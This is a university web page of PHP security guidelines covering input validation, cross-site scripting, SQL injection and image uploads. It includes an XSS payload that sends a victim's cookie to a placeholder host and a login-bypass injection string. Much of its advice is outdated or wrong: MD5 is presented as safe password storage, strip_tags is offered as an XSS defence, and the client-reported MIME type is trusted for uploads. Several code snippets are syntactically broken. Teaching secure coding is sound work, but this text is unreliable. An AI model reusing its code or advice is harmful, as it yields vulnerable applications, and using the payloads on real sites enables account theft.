Skip to main content
Faculty and Staff

PHP Security Guidelines

There are many types of security flaws that a developer must be aware of when creating PHP applications. The tutorial below will describe the basic vulnerabilities and provide solutions to assist in the creation of a more secure environment.

The fundamental security issues a developer must be aware of, include:

General Guidelines

When developing your own PHP scripts, be aware of security issues. Also view the OWASP Top 10 Security Vulnerabilities. Listed below are some things you can do which will make your web application more secure. For more information, visit the links above.

  1. Always validate user input before using it to do anything in your script. Even form variables such as select boxes need to be validated to ensure that the value chosen is in the original list of values.
  2. Always escape characters such as single or double quotes, backslashes (\), percent symbols, and other characters which could result in an unexpected use of your script.
  3. Take extra precaution when executing commands with user input in them. It is possible for an attacker to inject a malicious command in this way.
  4. When dealing with secure information (such as passwords), be sure to use a good password that will be hard (or better yet, impossible) to guess. Generic passwords such as 'admin', should never be used. The same goes for dictionary words. Secure passwords will be at least 8 characters long, contain at least one (1) numeric digit in them, and do not contain dictionary words. Never store passwords in plain text, always encrypt then with an irreversible encryption algorithm such as MD5.
  5. Stay away from using default filenames, such as putting administrative functionality in the admin/ folder. Generic names such as this are easy targets for hackers to attempt to access.
  6. When instantiating PHP on a page, always use the full <?php and ?> tags. Using shortcut tags such as <? to instantiate php could result in your script being displayed as plain text if the server configuration is changed.

Register Globals Setting

The URI web server has the register globals setting turned off. This means that the source of the values for variables needs to be explicitly defined. When this setting is on, it is possible to use variables without knowing for sure where they come from and it can only be assumed that they are coming from the expected place. This setting specifically affects variables that come from global scope such as GET, POST and COOKIE variables (among others). For example: previously, if you had a login form on your page and the textbox name was username, the PHP variable you used to reference what was submitted could have been $username. The value in $username could have come from a GET or POST request. Now, however, you need to use something like $HTTP_POST_VARS['username'] or $_POST['username']. This is better, because now you know for sure the variable is coming from a POST request. It is slightly more secure and harder for hackers to forge variables.

To upgrade your script to work with the new setting, the proper, secure way is to go through your code and initialize (at the beginning, or before the first use) the necessary variables to the appropriate array (and index, i.e. $username = $_POST['username'];). Alternately, for an immediate (temporary) solution, you could add the following code to the PHP files you are having problems with: import_request_variables("GPC"); This code will take the GET, POST and COOKIE arrays and declare variables for every index in these arrays. So, $_POST['username'] would become $username in your PHP file, and your script would behave as it did before register globals was turned off.

Validating User Input

The safest approach to securing user input is to never trust what is being submitted and always treating the data as a possible attack. This is known as a whitelist approach. User input generally originates from a form in which data is needed to be processed by the application.

A good place to start validating user input is with the creation of the form itself. With the use of an input tag, there are a few attributes which can help secure data before a script processes the information.

  • maxlength:
    • The maxlength attribute specifies the maximum length of an input field. This is useful to prevent users from inputting large string lengths of data (for example: 2 MB's), which could create an overflow error from the hosting server. However, using this is not a fool proof method. An attacker could replicate the form on another host and exclude the maxlength attribute. It is important to also validate the input for the correct length within the PHP scripts before the data is used.

      Example:

      <input type="text" name="userName" maxlength="25"/>

  • type="password":
    • The type="password" attribute is used for password input boxes. As a user enters data into the input element, the characters will be transformed into an asterisk (*). This provides a limited security feature for the user, if they are inputting a password when other users are present.

      Example:

      <input type="password" name="userPassword"/>

After the form has been made more secure, it is time to validate the user input within the PHP scripts. This is to add a second layer of security in the event that an attacker has bypassed the first layer. Validating user input can be completed with various methods, including, but not limited to:

  • Checking the length of the passed data strings
  • Filtering data
  • Type Casting
  • Using regular expression

Checking the length of the passed data strings

Even if the form from which the data originated might have used the maxlength attribute, it is possible for an attacker to circumvent this security measure. To be safe, one should check the length of the data string before it is used within the PHP script. This can be done by using the strlen() PHP function, as seen below:

<?php

if( strlen($_POST['userName] <= 25 ){
$userName = $_POST['userName];
}
else{
echo "You have entered a user name containing too many characters. Please use 25 characters or less.";
}
?>

Filtering Data

One possible way to create a more secure environment is to filter the incoming data. One can do this by only accepting the correct values and providing a default scenario for any data other than the accepted. This method is only efficient if the number of accepted values is small. Otherwise, it may become more of a tedious task code in all of the accepted values.

For example, lets say a form displays a drop down box which asks a student to select their academic year, either Freshman, Sophomore, Junior or Senior. This can be completed using either an if-else statement or a switch statement. The switch method is shown below.

<?php
switch ($_POST['acadYear'])
{
case 'Freshman':
case 'Sophomore':
case 'Junior':
case 'Senior':
$acadYear = $_POST['acadYear'];
break;
default:
echo "Invalid academic year selection.";
}
?>

Type Casting

Type casting a variable is quick, easy, and effective at insuring the data being processed is exactly what it needs to be. The process is similar to the method used in the C programming language, where the desired type is coded in parentheses, ( ), before the variable. The allowed casts are:

  • (int), (integer)- cast to integer
  • (bool), (boolean) - cast to boolean
  • (float), (double), (real) - cast to float
  • (string) - cast to string
  • (binary) - cast to binary string (PHP 6)
  • (array) - cast to array
  • (object) - cast to object
  • (unset) - cast to NULL (PHP 5)

For example:

<?php

$intNum = (int) $_POST['age'];

$floatNum = (float) $_POST['price'];

$inputString = (string) $_POST['name'];

?>

Regular Expression

Regular expression can be complicated but it is very powerful tool to define which characters can exist within strings. While validating user input, regular expressions work well against email address inputs. To learn more about regular expressions, read this tutorial. Below is an example of how to validate an email address input with regular expression.

<?php

if ( preg_match("/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $_POST['email']))
{
$email = $_POST['email'];
}

?>

Cross Site Scripting (XSS)

Cross site scripting is one of the more prevalent security flaws found within Web applications today. According to OWSAP.org, XSS occurs "when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user." This means that an attacker is submitting code, for example, Javascript, within a form field that could potentially redirect information, such as cookies, which store a username and password to an unknown location.

Here is an example of a simple script vulnerable to XSS and is used to fetch a news item based on an ID:

<?php

$id = $_GET['id'];
echo $id;

?>

If $_GET['id'] contains a number, then the script will run as intended. What happens if it contains the following:

<script>window.location.href = "http://domain.com/stealcookie.php?c=' + document.cookie;</script>

If an attacker passed this simple Javascript into the $_GET['id'] variable and convinced a user to click it, then the script would be executed and be used to pass the user's cookie data onto the attacker, allowing them to log in as the user.

How to prevent XSS attacks?

As mentioned earlier, you should never trust user input. Always presume that every bit of user input contains an attack. To prevent XSS attacks, you need to filter user input, removing it of HTML tags so that no Javascript can be run. The easiest way to do this is with the following PHP's built in function:

  • strip_tags(): Used to remove HTML from a string rendering it harmless.
  • htmlentities(): Used to convert < and > to &lt; and &gt; respectively, if you do not want to remove HTML from a string.

SQL Injection

SQL injection is when malformed user input is used directly and deliberately in an SQL query, in a way that allows the attacker to manipulate the query. This means that an attacker could delete portions of your database, make himself an admin account, etc -- the possibilities are endless. Sites that use databases as a backend to store their data and using queries to insert and select data from it are often vulnerable to this form of SQL injection attacks.

One of the most common vulnerabilities is when logging in to a site. Take this example:

$username = $_POST['username'];
$password = $_POST['password'];
$result = mysql_query("SELECT * FROM usersTbl WHERE username = '$username' AND password = '$password'");

if ( mysql_num_rows ($result) > 0)
// logged in

This script is vulnerable to an obvious SQL injection attack. If the attacker enters a valid username in the username field, "rob", and the following in the password field:

' OR 1=1'

The resulting query will look like this:

SELECT * FROM site_users WHERE username = 'rob' AND password = '' OR 1=1

Since the last criteria will always be true, when 1 is equal to 1, the user will be able to log in as rob without knowing rob's password.

How to prevent SQL injection

As with XSS attacks, you must never trust user input. The best way of cleaning user input is using the following PHP's built in functions:

  • mysql_real_escape_string() - Used to escape characters such as ', " and others, making them useless in "breaking out" of a quoted string as in the above example.
  • intval() - Used to escape on inputted numbers to ensure it is numeric.

File Uploads

File uploads are potentially the biggest security risk in Web development. Allowing a third-party to upload files on your server could allow them to delete your files, empty your database, gain user credentials and much more. However, it's certainly possible to upload files safely, and such functionality can be a great feature of your site.

When allowing users to upload files from their local machine to your server, there are two things that you need to check:

  1. Mime-type of the uploaded file.
  2. File extension.

If your script is uploading images, for example, you'll want to check the mime-type of the uploaded file to make sure they are of the following types: image/png, image/jpeg, image/gif, image/x-png and image/p-jpeg. Once that is done, you need to further check the file extension of the uploaded file. To do this, you should manually assign files an extension based on their mime-type. See sample code below:

$validMimes = array(
'image/png'=> '.png',
'image/x-png' => '.png',
'image/gif' => '.gif',
'image/jpeg' => '.jpg',
'image/pjpeg' => '.jpg'
);

$image = $_FILES['image'];

if(!array_key_exists($image['type'], $validMimes)){
die('Sorry, but the file type you tried to upload is invalid; only images are allowed.');

// Get the filename minus the file extension:
$filename = substr($image['name'], 0, strrpos($image['name'], '.'));

// Append the appropriate extension:
$filename .= $validMimes[$image['type']];

// Do something with the uploaded file

Complete List of PHP Security Guideline Coding Examples

Below are the examples which have been used within this document.

input maxlength attribute

<input type="text" name="userName" maxlength="25"/>

input password attribute

<input type="password" name="userPassword"/>

Checking variable length with PHP

<?php

if( strlen($_POST['userName] <= 25 ){
$userName = $_POST['userName];
}
else{
echo "You have entered a user name containing too many characters. Please use 25 characters or less.";
}
?>

Filtering User Input

<?php
switch ($_POST['acadYear'])
{
case 'Freshman':
case 'Sophomore':
case 'Junior':
case 'Senior':
$acadYear = $_POST['acadYear'];
break;
default:
echo "Invalid academic year selection.";
}
?>

Type Casting

<?php

$intNum = (int) $_POST['age'];

$floatNum = (float) $_POST['price'];

$inputString = (string) $_POST['name'];

?>

Validate Email with Regular Expression

<?php

if ( preg_match("/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $_POST['email']))
{
$email = $_POST['email'];
}

?>

Preventing XSS and SQL Injection with a Single Function

<?php

function validate_input($input)
{
// Removes any script tags
$input = strip_tags($input);

// Stripslashes
if (get_magic_quotes_gpc())
{
$input = stripslashes($input);
}

// Escape special characters (Must have database connection previously made)
if (!is_numeric($input))
{
$input = mysql_real_escape_string($input);
}

// Validate numeric number
if (is_numeric($input))
{
$input = intval($input);
}

return $input;

}
?>

File Uploading

$validMimes = array(
'image/png'=> '.png',
'image/x-png' => '.png',
'image/gif' => '.gif',
'image/jpeg' => '.jpg',
'image/pjpeg' => '.jpg'
);

$image = $_FILES['image'];

if(!array_key_exists($image['type'], $validMimes)){
die('Sorry, but the file type you tried to upload is invalid; only images are allowed.');

// Get the filename minus the file extension:
$filename = substr($image['name'], 0, strrpos($image['name'], '.'));

// Append the appropriate extension:
$filename .= $validMimes[$image['type']];

// Do something with the uploaded file

Additional Resources

It is important to keep in mind that these are not the only issues. While this tutorial provides ways to create a more secure application, it may still be susceptible to attacks. It is a good practice to research the various security flaws in order to stay up to date and be knowledgeable if any attack occurs. Various information sources on the Web include:

Forms

ITS Web Account Application Form

Departmental Web Server Registration

Request a Link

Request to add/update a hyperlink to my page on the main URI Web site.

What if the Webmaster made a mistake!

WEB PUBLISHING BLOG

Subscribe to the URI Web Publishing Blog for latest news, tips, resources and tools related to web technologies.

Web Publishing Listserv

Subscribe to URIWEB-L Listserv to keep informed of ideas on web-related issues on campus.